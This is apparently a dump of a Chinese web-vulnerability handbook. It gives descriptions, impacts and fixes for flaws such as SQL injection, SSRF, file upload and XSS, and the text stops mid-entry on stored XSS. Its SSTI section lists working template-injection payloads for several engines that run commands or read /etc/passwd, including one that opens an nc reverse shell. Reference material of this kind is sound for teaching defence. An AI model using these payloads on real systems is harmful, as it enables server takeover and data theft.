目录浏览漏洞主要是由于配置不当，当访问到某一目录中没有索引文件时（或者手工开启了目录浏览功能）即把当前目录中的所有文件及相关下层目录一一在页面中显示出来。通过该漏洞攻击者可获得服务器上的文件目录结构，从而下载敏感文件（备份文件存放地址、数据文件、数据库文件、源代码文件等）。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 如果web容器开启了目录浏览功能，那么攻击者通过浏览其他目录就有可能查看到该目录下的所有目录文件及结构，比如常见的上传目录、备份目录、静态资源目录、第三方扩展目录等。 10 | 11 | ## 0x03 漏洞危害 12 | 13 | 攻击者通过该漏洞可以看到服务器上的文件目录结构，获取应用系统文件敏感文件，比如备份文件、数据库文件、源代码文件等，导致应用程序大量敏感信息泄漏。 14 | 15 | ## 0x04 修复建议 16 | 17 | * 通过修改配置文件，去除中间件（如IIS、apache、nginx）的文件目录索引功能。 18 | 19 | > **IIS：**只需要进入IIS管理器，选择对应的网站，然后在功能视图中的IIS项双击【目录浏览】，然后在操作的地方点击【禁用】即可。另外也可以在网站目录下找到web.config文件，将``中的true修改为false。 20 | > 21 | > **Apache：**在配置文件中将`Options Indexes FollowSymLinks`在`Indexes`前面加上-符号。即： `Options -Indexes FollowSymLinks`。 22 | > 23 | > **Nginx：**在配置文件中将`autoindex on;`去掉或者直接注释掉即可。 24 | 25 | * 设置文件目录的访问权限。 26 | * 在每个目录下创建一个空的`index.html`页面。 -------------------------------------------------------------------------------- /docs/web/ds_store.md: -------------------------------------------------------------------------------- 1 | # DS_Store info 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 苹果的操作系统会在每一个文件夹中产生这个文件记录这个文件夹中的相关信息。实际上，这一文件包含了文件夹中所有的文件名和子文件夹名。和windows相比，等同于desktop.ini和Thumbs.db两个文件。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | - 攻击者利用该漏洞可能获取网站相关的文件夹和文件名； 10 | - 攻击者可通过解析这一文件，可能会发现数据库备份文件、配置文件以及一些缓存文件，甚至是密钥等； 11 | 12 | ## 0x03 修复建议 13 | 14 | * 在不影响代码运行的情况下，删除` .DS_Store `文件。 15 | * 在中间件中设置对应的文件、目录的访问权限 -------------------------------------------------------------------------------- /docs/web/errorinfo.md: -------------------------------------------------------------------------------- 1 | # Error Info 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 应用程序未对代码逻辑进行异常捕获，攻击者可通过输入异常字符串、异常类型、异常长度、畸形参数、增加删除参数、修改请求方法、异常请求头等途径是程序异常，从而导致应用程序抛出异常错误信息。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 攻击者通过构造特殊的攻击向量使应用程序抛出异常，可能导致应用绝对路径泄漏，源代码泄漏，敏感函数、控制器等泄漏，SQL语句泄漏，数据库敏感信息泄漏，接口信息等敏感信息泄漏。 10 | 11 | 攻击者可以利用这些信息实施进一步的攻击。 12 | 13 | ## 0x03 修复建议 14 | 15 | 1. 线上应用务必关闭debug模式。 16 | 2. 代码逻辑中尽量保证存在异常处理逻辑。 17 | 3. 错误信息统一处理，比如统一跳转首页、显示404页面、500页面等。 18 | 4. 严格校验用户输入数据，细化服务端处理颗粒度。 19 | 5. 不要相信逻辑上的跳转语句。 20 | 6. 确保异常之后的代码不会运行。 21 | -------------------------------------------------------------------------------- /docs/web/fileinclude.md: -------------------------------------------------------------------------------- 1 | # File read/include/download/delete 2 | 3 | ## 0x01 漏洞描述 4 | 5 | ### 1.1 文件读取/下载 6 | 7 | 在读取文件内容文件或文件下载处，未严格限制读取/下载文件的路径及文件后缀，导致可利用`../`，`#`等目录操作字符进行目录穿越、截断等手段，从而读取/下载服务器上任意文件，比如配置文件等。 8 | 9 | ### 1.2 文件包含 10 | 11 | 在通过PHP的`incluede`、`require`等函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露甚至恶意的代码注入，主要包括本地文件包含和远程文件包含两种形式。 12 | 13 | ### 1.3 文件删除 14 | 15 | 应用程序在删除文件前，未对所要删除的文件内容、类型、文件名、文件目录做合法性校验，导致可删除服务器上任意文件，比如删除安装目录中锁文件，直接进行重装应用系统。 16 | 17 | ## 0x02 常见应用场景 18 | 19 | ### 2.1 文件读取/下载 20 | 21 | 读取/下载图片、文件内容；下载附件；预览文档；导出文档；修改、保存文档等 22 | 23 | ### 2.2 文件包含 24 | 25 | 比如包含了某个图片、附件、远程URL、从远程获取资源文件等 26 | 27 | ### 2.3 文件删除 28 | 29 | 删除文件、附件、图片、替换、配置等 30 | 31 | ## 0x03 漏洞危害 32 | 33 | **文件读取/下载：**如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。 34 | 35 | **文件包含：**攻击者利用此漏洞通过包含含有任意恶意代码的任意格式文件，比如图片文件、log文件等，可直接获取应用系统权限，如果开启了`allow_url_fopen`/`allow_url_include`等配置，可直接包含远程任意格式文件。 36 | 37 | **文件删除：**攻击者利用此漏洞可直接删除web目录甚至服务器上任意格式文件，直接导致业务系统中断、崩溃。 38 | 39 | ## 0x04 修复建议 40 | 41 | * **配置文件：**在配置文件中限制访问的文件目录，比如PHP中`php.ini`配置`open_basedir` 42 | * **特殊字符过滤：**检查用户输入，过滤或转义含有“`../`”、“`..\`”、“`%00`”，“`..`”，“`./`”，“`#`”等跳转目录或字符终止符、截断字符的输入 43 | * **合法性判断：**严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等 44 | * **白名单：**白名单限定访问文件的路径、名称及后缀名 -------------------------------------------------------------------------------- /docs/web/fileupload.md: -------------------------------------------------------------------------------- 1 | # File Upload 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 应用系统在文件上传功能处对用户上传文件类型、格式、内容等做合法性校验，导致攻击者可以上传Webshell（.php、.jsp、asp等）恶意脚本文件或者非期望格式的文件比如：HTML文件、SHTML文件等，同时可利用目录跳转等字符或者控制上传目录，直接上传文件到Web目录或任意目录下，从而可能导致在远程服务器上执行任意恶意脚本文件，从而直接获取应用系统权限。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 文件上传漏洞通常发生在业务系统需要进行上传文件等功能处，比如上传图片、视频、文档；发表文章、评论；意见反馈；个人信息中的头像，照片，附件等。 10 | 11 | ## 0x03 漏洞危害 12 | 13 | 1. 上传恶意脚本文件到服务器中，通过访问该恶意文件从而执行文件中的恶意代码； 14 | 2. 攻击者可利用目录跳转上传php、config等文件，覆盖原有的系统文件，到达篡改系统文件、甚至获取系统权限的目的； 15 | 3. 攻击者可上传html、shtm等文件，并写入非法博彩、赌博等恶意SEO页面或者写入恶意js文件进行钓鱼来非法获取用户信息等； 16 | 17 | ## 0x04 修复建议 18 | 19 | ### 4.1 代码层面 20 | 21 | * 服务端采用白名单方式校验文件后缀，不建议采用黑名单方式校验后缀，黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击； 22 | * 服务端对上传文件进行重命名，防止利用目录跳转等方式控制上传目录； 23 | * 服务端使用系统函数来判断文件类型及文件内容是否合法，比如PHP中的getimagesize； 24 | * 对上传的文件回显相对路径或者不显示路径； 25 | 26 | ### 4.2 其他层面 27 | 28 | * 建议使用OSS静态存储服务器来存储用户上传的文件； 29 | * 设置目录权限限制，禁止上传目录的执行权限； 30 | * 保证使用的Nginx、Apache、IIS等容器版本不存在解析漏洞； 31 | * 保证使用的第三方处理软件的版本比如FFmpeg、ImageMagick等不存在已知漏洞 -------------------------------------------------------------------------------- /docs/web/git.md: -------------------------------------------------------------------------------- 1 | # Git info 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 开发者在使用git作为版本控制时，在一个目录中初始化一个仓库以后 , 会在这个目录下产生一个名叫 `.git` 的隐藏文件夹，这个文件夹里面保存了这个仓库的所有版本等一系列信息。如果服务器将`.git`文件夹放在了web目录下，就可能导致攻击者利用`.git`文件夹内的信息获取应用程序所有源代码。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | * 攻击者利用此漏洞可获取应用程序源代码，分析源码进行进一步攻击利用； 10 | * 攻击者利用此漏洞可获取数据配置信息，可能直接导致应用程序用户信息泄漏，设置获取服务器权限； 11 | 12 | ## 0x03 漏洞修复 13 | 14 | 1.删除网站目录下的`.git`文件 15 | 16 | 2.中间件上设置`.git`目录访问权限，禁止访问 -------------------------------------------------------------------------------- /docs/web/hpp.md: -------------------------------------------------------------------------------- 1 | # HTTP Parameter Pollution 2 | 3 | ## 0x01 漏洞描述 4 | 5 | HTTP参数污染漏洞（HTTP Parameter Pollution）简称HPP，由于HTTP协议允许同名参数的存在，同时，后台处理机制对同名参数的处理方式不当，造成“参数污染”。攻击者可以利用此漏洞对网站业务造成攻击，甚至结合其他漏洞，获取服务器数据或获取服务器最高权限。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | ``` 10 | GET /foo?par=first&par=last HTTP/1.1 11 | User-Agent: Mozilla/5.0 12 | Host: Host 13 | Accept: */* 14 | ``` 15 | 16 | 以上面数据包为例，常见的Web服务器对同样名称的参数出现多次的处理方式如下： 17 | 18 | | Web环境 | 参数获取函数 | 获取到的参数 | 19 | | :--------------: | :-------------------------: | :--------------: | 20 | | PHP/Apache | $_GET("par") | last | 21 | | JSP/Tomcat | Request.getParameter("par") | first | 22 | | Perl(CGI)/Apache | Param("par") | first | 23 | | Python/Apache | getvalue("par") | ["first","last"] | 24 | | ASP.NET/IIS | Request.QueryString("par") | first,last | 25 | 26 | ## 0x03 漏洞危害 27 | 28 | HTTP 参数污染的风险实际上取决于后端所执行的操作，以及被污染的参数提交到了哪里。 29 | 30 | * 对客户端的攻击，比如投票、跳转、关注等； 31 | * 绕过安全防护软件； 32 | 33 | ## 0x04 修复建议 34 | 35 | 1. 对用户输入数据的参数的格式进行验证。 36 | 2. 在WAF或其他网关设备（比如IPS）在检查URL时，对同一个参数被多次赋值的情况进行特殊处理。 37 | 3. 在代码层面，编写WEB程序时，要通过合理的`$_GET`方法获取URL中的参数值，而尝试获取web服务器返回给程序的其他值时要慎重处理。 -------------------------------------------------------------------------------- /docs/web/oscommandexec.md: -------------------------------------------------------------------------------- 1 | # OS Exec/injection 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 命令执行/注入漏洞通常因为应用在服务器上拼接系统命令而造成的漏洞。攻击者通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 命令执行/注入漏洞通常出现在调用外部程序完成一些功能的情景下。 10 | 11 | * 管理界面的配置主机名/IP/掩码/网关、查看系统信息等功能处 12 | * 关闭、重启等功能处 13 | * ping、nslookup等验证主机等功能处 14 | * 提供发送邮件、转换图片等功能处 15 | 16 | ## 0x03 漏洞危害 17 | 18 | 攻击者可在服务器通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。 19 | 20 | ## 0x04 修复建议 21 | 22 | 1. 在代码级调用shell时，对命令行中的特殊字符（比如`|`、`&`、`；`等）进行转义，防止执行其他非法命令。 23 | 2. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。 24 | 3. PHP中可使用`escapeshellarg`、`escapeshellcmd`来转义对应敏感字符。 25 | 4. 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制`eval`、`system`、`exec`、`shell_exec`等函数的参数 。 -------------------------------------------------------------------------------- /docs/web/pay.md: -------------------------------------------------------------------------------- 1 | # Defective Payment 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 支付漏洞是指应用程序在支付环节，由于数据包中没有签名校验或者签名算法太容易而被破解，导致可以直接拦截数据包，修改支付订单中的参数为恶意非法参数而导致的支付缺陷。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | ### 2.1 购买 10 | 11 | - 修改支付的价格 12 | - 修改支付的状态 13 | - 修改支付的数量or价格为999999999999... 14 | - 修改购买数量or价格为负数 15 | - 修改金额为负数 16 | - 重放成功的请求（包含支付附加值时等） 17 | - 使用任意用户优惠券 18 | - 修改运费价格 19 | - 修改支付接口为不存在的支付接口 20 | - 替换支付订单号 21 | - 并发数据库锁处理不当 22 | 23 | ### 2.2 业务风控 24 | 25 | - 刷优惠券 26 | - 无限试用 27 | - 套现 28 | 29 | ### 2.3 订单 30 | 31 | [同越权漏洞](../yuequan/) 32 | 33 | ## 0x03 漏洞危害 34 | 35 | 攻击者利用支付缺陷，通过绕过签名、修改支付参数等各种途径，直接会给企业造成巨大风险。 36 | 37 | ## 0x04 修复建议 38 | 39 | 1. 对支付数据表进行数据包加密； 40 | 2. 对提交数据包做数据签名处理，保证支付数据参数无法修改； 41 | 3. 服务端效验客户端提交的参数； 42 | 4. 服务端严格校验支付参数的合法性，比如金额、数量的长度，金额、数量的正负等； 43 | 5. 对于用户提交的数据，应从数据库重新拉取，并校验用户提交与用户所有是否匹配； 44 | 6. 对于多线程等并发问题，可以先打入队列，在与数据库交互； -------------------------------------------------------------------------------- /docs/web/sql.md: -------------------------------------------------------------------------------- 1 | # SQL Inject 2 | 3 | ## 0x01 漏洞描述 4 | 5 | SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验（类型、长度、业务参数合法性等），同时没有对用户输入数据进行有效地特殊字符过滤，使得用户的输入直接带入数据库执行，超出了SQL语句原来设计的预期结果，导致了SQL注入漏洞。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | SQL注入漏洞可能出现在一切与数据库交互的地方，比如常见的查询用户信息、查询订单信息等查询处；搜索、筛选、过滤等；更新用户信息、添加备注等。另外，其他日志记录、分析等处也可能出现，比如记录用户登录处，记录用户登录日志处；比如常见的请求头中的字段，UA、XFF等。 10 | 11 | ## 0x03 漏洞危害 12 | 13 | 1. 获取数据库访问权限，甚至获得DBA权限； 14 | 2. 获取其他数据库中的数据； 15 | 3. 盗取用户的机密信息包括账户、个人私密信息、交易信息等等； 16 | 4. 运行各种操作系统命令； 17 | 5. 通过构造特殊的数据库查询语句，可操作数据库进入后台并插入木马，以获取整个网站和数据库的控制权限； 18 | 6. 篡改、删除网站页面； 19 | 7. 数据库所在服务器被攻击从而变为傀儡主机，甚至可能导致局域网(内网)被入侵； 20 | 21 | ## 0x04 修复建议 22 | 23 | ### 4.1 代码层面 24 | 25 | #### 4.1.1 输入验证 26 | 27 | 类型判断：字符型、整型； 28 | 29 | 长度判断：设置最大长度值； 30 | 31 | 业务参数合法性判断：比如支付金额不可能为负值这种； 32 | 33 | 特殊字符过滤：比如`'`，`"`，`\`，`<`，`>`，`&`，`*`，`;`，`#`，`select`，`from`，`where`，`sub`，`if`，`union`，`sleep`，`and`，`or`等； 34 | 35 | 验证所有的输入点，包括UA、Cookie以及其他HTTP头； 36 | 37 | #### 4.1.2、预编译处理&参数化查询 38 | 39 | 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中，参数化查询是防御SQL注入的最佳方法，比如：Java中的PreparedStatement，PHP中的PDO等。 40 | 41 | ### 4.2 数据库层面 42 | 43 | #### 4.2.1 最小权限原则 44 | 45 | 遵循最小化权限原则，严格限制网站用户的数据库的操作权限，禁止将任何高权限帐户（sa，dba、root等）用于应用程序数据库访问，从而最大限度的减少注入攻击对数据库的危害。 46 | 47 | #### 4.2.2 禁用敏感函数 48 | 49 | 比如MSSQL中，拒绝用户访问敏感的系统存储过程，如xp_dirtree，xp_cmdshell等。 50 | 51 | #### 4.2.3 权限控制 52 | 53 | 限制用户所能够访问的数据库表。 54 | 55 | #### 4.2.4 编码统一 56 | 57 | 网站与数据层的编码统一，建议全部使用UTF-8编码，避免因上下层编码不一致导致一些过滤模型被绕过，比如宽字节注入等。 58 | 59 | ### 4.3 其他措施 60 | 61 | 1. 避免网站异常抛出SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断； 62 | 2. 使用通用防注入系统； -------------------------------------------------------------------------------- /docs/web/ssrf.md: -------------------------------------------------------------------------------- 1 | # SSRF 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 服务端请求伪造攻击(Server-side Request Forgery):很多web应用都提供了从其他的服务器上获取数据的功能。比如获取图片、下载文件、读取文件内容等。SSRF漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统。 6 | 7 | 即：利用一个可以发起网络请求的服务，当作跳板来攻击其他服务。 8 | 9 | ## 0x02 场景应用场景 10 | 11 | SSRF场景应用场景为任意可以发起网络请求的地方，比如： 12 | 13 | * 下载图片、下载文件等下载处； 14 | * 文件预览、图片预览等获取图片、文件内容处； 15 | * 在线识图，在线文档翻译，分享，订阅等； 16 | * 根据远程URL上传，静态资源图片等； 17 | * 数据库的内置功能，比如mongodb的copyDatabase函数； 18 | * URL关键字中，比如：source，share，link，src，imageurl，target等； 19 | 20 | ## 0x03 漏洞危害 21 | 22 | 1. 内网、本地端口扫描，获取开放端口信息 ； 23 | 2. 主机信息收集，web应用指纹识别，获取服务banner信息 等； 24 | 3. 根据识别出的应用针对性的发送payload攻击，例如struts2 4、redis、攻击内网、本地的应用程序及服务等； 25 | 4. 穿越防火墙 26 | 5. 利用file等其他允许协议进行绕过攻击，比如利用file协议读取本地文件（`file:///etc/passwd`） 27 | 28 | ## 0x04 修复建议 29 | 30 | SSRF漏洞修复的方法可归纳为一个依次向下的流程中： 31 | 32 | ### 4.1 解析目标URL 33 | 34 | 获取scheme、host（推荐使用系统内置函数完成,避免自己使用正则提取） 35 | 36 | ### 4.2 校验scheme 37 | 38 | 检查 scheme 是否为合法 (如非特殊需求请只允许 http 和 https) 39 | 40 | ### 4.3 获取解析IP 41 | 42 | 解析 host 获取 dns 解析后的 IP 地址 43 | 44 | ### 4.4 检测IP是否合法 45 | 46 | 检查解析后的IP地址是否为外网地址或者合法IP -------------------------------------------------------------------------------- /docs/web/ssti.md: -------------------------------------------------------------------------------- 1 | # SSTI 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 模板引擎可以让（网站）程序实现界面与数据分离，业务代码与逻辑代码的分离，这大大提升了开发效率，良好的设计也使得代码重用变得更加容易。上下文数据通常由用户控制并由模板进行格式化，以生成网页、电子邮件等。模板引擎通过使用代码构造（如条件语句、循环等）处理上下文数据，允许在模板中使用强大的语言表达式，以呈现动态内容。 6 | 7 | SSTI （服务器端模板注入）如果攻击者能够控制要呈现的模板，服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web 应用模板内容的一部分，模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，就可能导致上下文数据的暴露，甚至在服务器上运行任意命令的表达式。 8 | 9 | ## 0x02 常见应用场景 10 | 11 | 凡是使用模板的应用程序都有可能出现服务器端模版注入漏洞。 12 | 13 | ### 2.1 PHP 14 | 15 | * Smarty 16 | 17 | ``` 18 | {php}echo `id`;{/php} 19 | {self::getStreamVariable("file:///etc/passwd")} 20 | ``` 21 | 22 | * Twig 23 | 24 | ``` 25 | {{7*7}} 26 | {{_self.env.registerUndefinedFilterCallback("exec")}} 27 | {{_self.env.getFilter("id")}} 28 | ``` 29 | 30 | ### 2.2 Java 31 | 32 | * FreeMarker 33 | 34 | ``` 35 | <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} 36 | [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} 37 | ${"freemarker.template.utility.Execute"?new()("id")} 38 | ``` 39 | 40 | * Velocity 41 | 42 | ``` 43 | #set($str=$class.inspect("java.lang.String").type) 44 | #set($chr=$class.inspect("java.lang.Character").type) 45 | #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) 46 | $ex.waitFor() 47 | #set($out=$ex.getInputStream()) 48 | #foreach($i in [1..$out.available()]) 49 | $str.valueOf($chr.toChars($out.read())) 50 | #end 51 | ``` 52 | 53 | ### 2.3 Python 54 | 55 | - Tornado 56 | 57 | ``` 58 | {{handler.settings}} 59 | {% import os %}{{ os.popen("whoami").read() }} 60 | ``` 61 | 62 | - Flask/Jinja2 63 | 64 | ``` 65 | {{ config.items() }} 66 | {{''.__class__.__mro__[-1].__subclasses__()}} 67 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} 68 | ``` 69 | 70 | - Django 71 | 72 | ``` 73 | //写文件 74 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }} 75 | //加载system 76 | {{ config.from_pyfile('/tmp/evil') }} 77 | //执行命令反弹SHELL 78 | {{ config['SHELL']('nc xxxx xx -e /bin/sh') }} 79 | ``` 80 | 81 | ### 2.4 Ruby 82 | 83 | ``` 84 | <%= 7 * 7 %> 85 | <%= File.open('/etc/passwd').read %> 86 | ``` 87 | 88 | #### 2.5 AngularJS 89 | 90 | ``` 91 | $eval('1+1') 92 | ``` 93 | 94 | ## 0x03 漏洞危害 95 | 96 | * 获取上下文敏感数据信息、配置信息； 97 | * 读取、写入恶意文档到服务器中； 98 | * 执行系统命令； 99 | 100 | ## 0x04 修复建议 101 | 102 | * 不要让用户对传入模板的内容或者模板本身进行控制。 103 | * 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式。 104 | * 如果需要将动态数据传递给模板，不要直接在模板文件中执行，可以使用模板引擎的内置功能来扩展表达式，实现同样的效果。 -------------------------------------------------------------------------------- /docs/web/svn.md: -------------------------------------------------------------------------------- 1 | # SVN info 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 在使用SVN管理本地代码过程中，会自动生成一个名为.svn的隐藏文件夹，其中包含重要的源代码信息。一些网站管理员在发布代码时，不愿意使用‘导出’功能，而是直接复制代码文件夹到WEB服务器上，这就使`.svn`隐藏文件夹被暴露于外网环境，黑客可以借助其中包含的用于版本信息追踪的`entries`文件，获取站点信息。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 攻击者可以利用`.svn/entries`文件，获取到应用程序源代码、svn服务器账号密码等信息。同时，SVN产生的`.svn`目录下还包含了以`.svn-base`结尾的源代码文件副本（低版本SVN具体路径为`text-base`目录，高版本SVN为`pristine`目录），如果服务器没有对此类后缀做解析，黑客则可以直接获得文件源代码。 10 | 11 | 1. 攻击者利用该漏洞可下载网站源代码，获得数据库的连接账号密码等敏感信息； 12 | 2. 攻击者可通过获取的源代码进一步分析出新的系统漏洞，从而进一步入侵系统； 13 | 14 | ## 0x03 修复建议 15 | 16 | * 查找服务器上所有.svn隐藏文件夹，删除。 17 | * 开发人员在使用SVN时，严格使用导出功能，禁止直接复制代码。 18 | 19 | -------------------------------------------------------------------------------- /docs/web/test.md: -------------------------------------------------------------------------------- 1 | # Test info 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 应用程序在发布时，未清理掉诸如测试数据、测试文件、测试接口、测试用户等测试数据，攻击者可能利用这些测试数据获取网站敏感信息，进入系统内部，甚至控制应用系统等。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 攻击者可能利用这些测试数据获取网站敏感信息，进入系统内部，甚至控制应用系统等。 10 | 11 | ## 0x03 修复建议 12 | 13 | * 应用系统在发布后应及时删除、关闭测试接口 14 | * 应用系统在发布后应及时删除、关停测试账号 15 | * 应用系统在发布后应及时删除测试文件 16 | * 应用系统在发布后应及时清除数据表中的测试数据 -------------------------------------------------------------------------------- /docs/web/urlre.md: -------------------------------------------------------------------------------- 1 | # URL Redirect 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 也称URL跳转、URL重定向漏洞，由于目标网站未对程序跳转的URL地址及参数做合法性判断，导致应用程序直接跳转到参数中指定的的URL地址。攻击者可通过将跳转地址修改为指向恶意站点，即可发起网络钓鱼、诈骗甚至窃取用户凭证等。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 主要是业务逻辑中需要进行跳转的地方。比如登录处、注册处、访问用户信息、订单信息、加入购物车、分享、收藏等处。 10 | 11 | ## 0x03 漏洞危害 12 | 13 | 2. 攻击者可能会使用Web服务器攻击其他站点； 14 | 2. 如果对输出没有做严格限制，将可能导致反射性XSS漏洞； 15 | 3. 黑产将利用此漏洞，从信任网站跳转到攻击者构造的恶意网站用来进行钓鱼、诈骗等行为； 16 | 17 | ## 0x04 修复建议 18 | 19 | 1. 严格控制将要跳转的域名，如果某个业务事先已经确定将要跳转的网站，最稳妥的方式是将其直接编码在源代码中，通过URL中传入的参数来映射跳转网址。 20 | 2. 严格验证跳转URL参数的有效性、合法性。 21 | 3. 校验传入的URL参数是否为可信域名。 -------------------------------------------------------------------------------- /docs/web/usercenter.md: -------------------------------------------------------------------------------- 1 | # User module 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 目前大部分应用程序都会有用户模块，比如用户登录、注册、忘记密码、修改密码、申诉等，如果后端逻辑存在缺陷将直接导致大量用户信息泄漏，甚至直接接管任意用户。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | ### 2.1 注册 10 | 11 | * 短信验证码or邮箱验证码可爆破导致任意账号注册 12 | * 数据库和后端逻辑处理不一致可能导致注册覆盖 13 | * 万能注册码or验证码 14 | * 注册处用户名暴力猜解 15 | * 邮箱大小写、手机号前缀、账号前后使用空格/回车/换行等处理不当 16 | * 特殊注册地址or测试地址 17 | 18 | ### 2.2 登录 19 | 20 | * 撞库or账号密码爆破 21 | * 登录处用户名暴力猜解 22 | * 默认密码 23 | * 任意账号锁死 24 | * 账号劫持 25 | * 短信验证码or邮箱验证码可爆破导致任意账号登录 26 | 27 | ### 2.3 忘记密码 28 | 29 | * 忘记密码处用户名暴力猜解 30 | * 任意用户短信轰炸or短信接口滥用 31 | * 发送验证随机码至任意验证设备导致任意用户密码重置 32 | * 随机码可被暴力猜解导致任意用户密码重置 33 | * 随机校验码在返回包或者cookie中 34 | * 忘记密码流程前端校验导致验证绕过 35 | 36 | ### 2.4 修改密码 37 | 38 | * 越权修改任意用户密码 39 | * 修改密码未校验旧密码 40 | * 同上相关场景... 41 | 42 | ### 2.5 Session 43 | 44 | * Session机制可被猜测or爆破 45 | * Session伪造 46 | * Session泄漏 47 | * Session会话固定 48 | 49 | ## 0x03 漏洞危害 50 | 51 | 攻击者通过相关措施可直接查看、修改、添加、删除用户信息，以站内信任用户身份发起其他非法操作，甚至直接接管网站任意用户。 52 | 53 | ## 0x04 修复建议 54 | 55 | 1. 严格校验当前操作与当前用户身份是否匹配； 56 | 2. 登录、忘记密码、修改密码、注册等处建议添加图形验证码，并保证使用一次即销毁； 57 | 3. 用户中心操作数据包建议添加包含随机码的签名，防止数据包被非法篡改； 58 | 4. 用户中心操作建议对数据包or特殊字段进行加密等处理； -------------------------------------------------------------------------------- /docs/web/weakpass.md: -------------------------------------------------------------------------------- 1 | # Weak Password 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 网站管理、运营人员由于安全意识不足，为了方便、避免忘记密码等，使用了非常容易记住的密码，或者是直接采用了系统的默认密码等。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 弱口令没有严格的标准和准确的定义，通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。 10 | 11 | 通常以下情况会被定为弱口令： 12 | 13 | * 连续的数字 14 | * 连续的字母 15 | * 连续的（数字+字母） 16 | * 公司（全称or简称）+连续的（字母or数字） 17 | * 个人姓名（全称or简称）+连续的（字母or数字） 18 | * 网站域名+连续的（字母or数字） 19 | * 任意（上+下 or 左+右 or shift）连续的键盘密码 20 | * 包含上述情况任意位置的特殊字符 21 | * 包含上述情况任意位置的年份的数字 22 | * 包含上述情况任意位置的首字母大写 23 | * 包含上述情况任意位置的常见单词 24 | * 。。。 25 | 26 | ## 0x03 漏洞危害 27 | 28 | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 29 | 30 | ## 0x04 修复建议 31 | 32 | ### 4.1 用户层面 33 | 34 | * 不要使用常见的弱口令作为密码 35 | * 不要多个系统或者社交账号使用同一套密码 36 | * 定期修改密码 37 | * 建议使用包含随机值的或者随机生成的字符串作为系统密码 38 | 39 | ### 4.2 系统层面 40 | 41 | * 用户首次登录后强制用户修改默认密码 42 | * 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母+数字+特殊字符+8位以上） 43 | * 服务端对登录处增加图形验证码并保证使用一次即销毁 44 | * 服务端对登录接口进行限制，单个IP单位时间内请求超过阈值，封禁30分钟 45 | * 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁20分钟 -------------------------------------------------------------------------------- /docs/web/xss.md: -------------------------------------------------------------------------------- 1 | # XSS 2 | 3 | ## 0x01 漏洞描述 4 | 5 | XSS全称为Cross Site Scripting，为了和CSS分开简写为XSS，中文名为跨站脚本。该漏洞发生在用户端，是指恶意攻击者往Web站点里插入恶意脚本代码，当用户浏览该网站时，嵌入其里面的脚本代码会被执行，从而达到恶意用户的特殊目的。 6 | 7 | 根据是否写入数据看来分类主要有反射性和存储型两大类。 8 | 9 | * 反射型跨站脚本（Reflected XSS） 10 | * 储存型跨站脚本（Persistent XSS） 11 | 12 | 区别：存储型XSS的恶意代码存在数据库里，反射型XSS的恶意代码存在URL里。 13 | 14 | ## 0x02 常见应用场景 15 | 16 | ### 2.1 反射型XSS 17 | 18 | 反射性XSS通常需要被攻击者点击对应的链接才能触发，且受到XSS Auditor、NoScript等防御手段的影响较大。 19 | 20 | 反射型xss应用场景：比如搜索、查询，接口调用，跳转，http头获取参数地理位置，cookie，id，referer等一切输入、输出的地方 21 | 22 | ### 2.2 存储型XSS 23 | 24 | 